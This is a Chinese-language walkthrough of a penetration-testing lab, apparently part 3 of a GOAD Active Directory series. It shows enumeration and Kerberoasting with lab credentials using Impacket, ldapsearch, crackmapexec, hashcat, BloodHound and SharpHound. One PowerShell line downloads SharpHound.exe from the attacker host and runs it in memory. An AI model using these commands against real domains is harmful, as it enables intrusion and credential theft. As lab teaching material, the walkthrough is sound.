第三部分繼續枚舉一些用戶，利用之前獲取到的憑證看是否能繼續收集到一些信息。
vagrant up啟動休眠的機器
當你在活動目錄上獲得一個賬戶時，首先要做的總是獲取完整的用戶列表。
一旦獲取到用戶列表，你可以對所有用戶進行密碼噴灑（通常你會發現其他賬戶使用弱密碼，如用戶名即密碼、季節年份組合、社團名稱年份組合，甚至可能是 123456）。
在 part2 中，得到了 brandon.stark賬號密碼，
python3 GetADUsers.py -all north.sevenkingdoms.local/brandon.stark:iseedeadpeople
Impacket v0.12.0.dev1+20240502.235035.cb8467c3 - Copyright 2023 Fortra
[*] Querying north.sevenkingdoms.local for information about domain.
Name Email PasswordLastSet LastLogon
-------------------- ------------------------------ ------------------- -------------------
Administrator 2024-01-17 20:24:06.650023 2024-01-18 00:15:11.751714
Guest <never> <never>
vagrant 2021-05-12 19:38:55.922520 2024-01-18 00:33:15.469101
krbtgt 2024-01-17 20:59:48.450235 <never>
2024-07-11 21:23:44.436491 <never>
arya.stark 2024-01-18 00:06:14.609612 2024-05-05 16:39:43.450938
eddard.stark 2024-01-18 00:06:24.165912 2024-07-21 14:07:26.720083
catelyn.stark 2024-01-18 00:06:31.753050 <never>
robb.stark 2024-01-18 00:06:39.977381 2024-07-21 14:08:30.539586
sansa.stark 2024-01-18 00:06:48.632812 <never>
brandon.stark 2024-01-18 00:06:56.360121 2024-07-11 22:59:04.257694
rickon.stark 2024-01-18 00:07:03.163738 <never>
hodor 2024-01-18 00:07:08.330623 <never>
jon.snow 2024-01-18 00:07:14.009106 <never>
samwell.tarly 2024-01-18 00:07:20.334394 2024-07-11 23:17:33.390596
jeor.mormont 2024-01-18 00:07:26.125439 <never>
sql_svc 2024-01-18 00:07:30.994621 2024-05-05 15:22:57.352040
LDAP 查詢#
LDAP 是一種目錄服務協議，它提供了一種連接、搜索和修改目錄的機制。
在 north.sevenkingdoms.local 上使用 ldap 查詢
#安裝ldap
sudo apt install ldap-utils
#ldap查詢，查找類別為person且類為user的所有對象
ldapsearch -H ldap://192.168.56.11 -D "[email protected]" -w iseedeadpeople -b 'DC=north,DC=sevenkingdoms,DC=local' "(&(objectCategory=person)(objectClass=user))" |grep 'distinguishedName:'
通過 LDAP 查詢也可以查詢到用戶信息，各域間存在信任關係，所以通過 LDAP 也可以查詢其他域中的用戶。
sevenkingdoms.local
ldapsearch -H ldap://192.168.56.10 -D "[email protected]" -w iseedeadpeople -b 'DC=sevenkingdoms,DC=local' "(&(objectCategory=person)(objectClass=user))" | grep "distinguishedName"
essos.local
在 essos.local 查詢，報如下信息：無效的憑證，應該是兩者之間沒有信任關係導致的。
LDAP 查詢參考：https://podalirius.net/en/articles/useful-ldap-queries-for-windows-active-directory-pentesting/
Kerberoasting#
從 Active Directory 中獲取用戶的服務主體名稱 (Service Principal Names, SPNs)，並請求相應的 Kerberos 服務票據，這個過程被稱為 Kerberoasting。
python3 GetUserSPNs.py -request -dc-ip 192.168.56.11 north.sevenkingdoms.local/brandon.stark:iseedeadpeople -outputfile kerberoasting.hashes
所有的 hash 保存到 kerberoasting.hashes 文件中
整體流程：
1、認證：
腳本使用提供的憑據（用戶名和密碼）連接到指定的域控制器 (192.168.56.11)。
2、枚舉 SPNs：
腳本查詢 Active Directory，枚舉所有具有 SPNs 的用戶。這些 SPNs 通常用於 Kerberos 身份驗證的服務賬戶。
3、請求服務票據：
根據枚舉到的 SPNs，腳本請求相應的 Kerberos 服務票據 (TGS)。這些票據包含加密的服務賬戶密碼哈希。
4、保存票據：
請求到的 Kerberos 服務票據的哈希值會被保存到指定的輸出文件 (kerberoasting.hashes) 中。
也可以用 cme 去獲取
crackmapexec ldap 192.168.56.11 -u brandon.stark -p 'iseedeadpeople' -d north.sevenkingdoms.local --kerberoasting KERBEROASTING
嘗試使用 hashcat 破解密碼
得到個賬號密碼：jon.snow
共享目錄枚舉#
crackmapexec smb 192.168.56.10-23 -u jon.snow -p iknownothing -d north.sevenkingdoms.local --shares
192.168.56.22 共享目錄
dns 枚舉#
工具：https://github.com/dirkjanm/adidnsdump
安裝：
pip3 install git+https://github.com/dirkjanm/adidnsdump#egg=adidnsdump
Bloodhound#
接下來使用 Bloodhound 分析域內的環境，攻擊者必須在目標上運行一個collector，它將枚舉有關域的大量信息。collector運行完成後，它將輸出一系列 .json 文件，供導入到攻擊者的 Bloodhound 界面中。
BloodHound.py 數據收集器#
用下面的 python 腳本採集數據
採集 north.sevenkingdoms.local 上的數據
python3 bloodhound.py --zip -c All -d north.sevenkingdoms.local -u brandon.stark -p iseedeadpeople -dc winterfell.north.sevenkingdoms.local -ns 192.168.56.10
注：需要指定 dns，如果不指定就會報如下錯誤，查看了 BloodHound.py 的官網，很多人都出現了這個錯誤
同樣的，從其他幾個域中收集數據
kingslanding.sevenkingdoms.local
python3 bloodhound.py --zip -c All -d sevenkingdoms.local -u [email protected] -p iseedeadpeople -dc kingslanding.sevenkingdoms.local -ns 192.168.56.10
meereen.essos.local
python3 bloodhound.py --zip -c All -d essos.local -u [email protected] -p iseedeadpeople -dc meereen.essos.local -ns 192.168.56.10
通過 BloodHound 收集了三個域的信息
注：不過，觀察 GitHub 上的項目我們可以發現，Python 版本的數據收集工具雖然功能強大，但與 .NET 版本相比仍有不足。具體來說，它支持大部分的 BloodHound（SharpHound）功能，但並不是全部，尤其是缺少了一些基於組策略對象（GPO）的收集方法。
sharphound.exe 數據收集器#
同樣的，通過 sharphound.exe windows 版本重新採集一遍
項目地址：https://github.com/BloodHoundAD/SharpHound
遠程桌面連接到域內機器
sudo apt install freerdp2-x11
xfreerdp /u:jon.snow /p:iknownothing /d:north /v:192.168.56.22 /cert-ignore +clipboard /drive:tmp,/tmp
.\sharphound.exe -d north.sevenkingdoms.local -c all --zipfilename bh_north_sevenkingdoms.zip
.\sharphound.exe -d sevenkingdoms.local -c all --zipfilename bh_sevenkingdoms.zip
.\sharphound.exe -d essos.local -c all --zipfilename bh_essos.zip
也可以用 powershell 在內存中運行 sharpblood
$data = (New-Object System.Net.WebClient).DownloadData('http://192.168.56.1/SharpHound.exe')
$assem = [System.Reflection.Assembly]::Load($data)
[Sharphound.Program]::Main("-d north.sevenkingdoms.local -c all".Split())
啟動 bloodhound#
用 kali 啟動 bloodhound，導入 bloodhound-python 收集的信息，sharphound 導出的信息無法導入到 bloodhound 中，可能和版本有關係，之前打春秋雲鏡靶場的時候遇到同樣的問題，無法導入 sharphound 收集的內容。
顯示所有的域和計算機
MATCH p = (d:Domain)-[r:Contains*1..]->(n:Computer) RETURN p
顯示所有的用戶
MATCH p = (d:Domain)-[r:Contains*1..]->(n:User) RETURN p
查看域 / 組 / 用戶的整體地圖
MATCH q=(d:Domain)-[r:Contains*1..]->(n:Group)<-[s:MemberOf]-(u:User) RETURN q
查看用戶的 acl
MATCH p=(u:User)-[r1]->(n) WHERE r1.isacl=true and not tolower(u.name) contains 'vagrant' RETURN p
參考#
https://mayfly277.github.io/posts/GOADv2-pwning-part3/
https://github.com/BloodHoundAD/SharpHound/releases
https://github.com/dirkjanm/BloodHound.py
https://podalirius.net/en/articles/useful-ldap-queries-for-windows-active-directory-pentesting/